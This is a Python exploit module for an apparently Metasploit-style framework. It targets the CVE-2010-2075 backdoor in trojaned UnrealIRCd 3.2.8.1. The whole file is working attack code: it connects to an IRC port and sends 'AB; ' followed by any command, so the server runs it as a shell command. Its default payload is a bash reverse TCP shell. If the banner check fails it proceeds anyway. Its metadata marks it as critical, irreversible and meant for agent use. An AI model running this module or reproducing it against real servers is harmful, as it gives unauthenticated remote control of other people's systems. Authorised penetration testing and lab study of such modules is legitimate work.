UnrealIRCd CVE-2010-2075 backdoor RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""UnrealIRCd CVE-2010-2075 trojaned backdoor AB; command execution."""

from __future__ import annotations

import socket
import time

from kittysploit import *
from lib.exploit.handler import Handler


class Module(Exploit, Handler):
    __info__ = {
        "name": "UnrealIRCd CVE-2010-2075 backdoor RCE",
        "description": (
            "CVE-2010-2075: trojaned UnrealIRCd 3.2.8.1 executes any line "
            "starting with AB; as shell via system() without authentication."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2010-2075"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2010-2075",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["unrealircd", "irc", "backdoor", "rce", "cve-2010-2075"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 1,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "chain": {"suggested_followups": ["scanner/tcp/unrealircd_cve_2010_2075_detect"]},
        },
    }

    port = OptPort(6667, "IRC port", required=True)
    command = OptString("", "Command (overrides payload)", required=False)

    def _send_trigger(self, line: str) -> None:
        host = str(self.target or "")
        port = int(self.port or 6667)
        sock = socket.create_connection((host, port), timeout=10)
        sock.settimeout(8)
        time.sleep(1.5)
        try:
            sock.recv(4096)
        except socket.timeout:
            pass
        sock.sendall(("AB; " + line + "\n").encode())
        time.sleep(2)
        sock.close()

    def execute(self, cmd: str) -> str:
        self._send_trigger(str(cmd))
        return "triggered (no in-band IRC output)"

    def check(self):
        host = str(self.target or "")
        port = int(self.port or 6667)
        try:
            sock = socket.create_connection((host, port), timeout=8)
            banner = sock.recv(512).decode(errors="replace")
            sock.close()
        except OSError as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "high"}
        if "unreal" in banner.lower():
            return {"vulnerable": True, "reason": "UnrealIRCd banner", "confidence": "medium"}
        return {"vulnerable": False, "reason": "Not UnrealIRCd", "confidence": "medium"}

    def check_execute(self):
        return bool(self.check().get("vulnerable"))

    def run(self):
        cmd = str(self.command or "").strip() or str(self.payload or "").strip()
        if not cmd:
            print_error("Set command or payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_warning(chk.get("reason", "Banner weak — firing anyway"))

        print_status("CVE-2010-2075 — UnrealIRCd AB; backdoor")
        self.execute(cmd)
        print_success("Backdoor trigger sent")

        if str(self.command or "").strip():
            return self.handler_execute()
        return True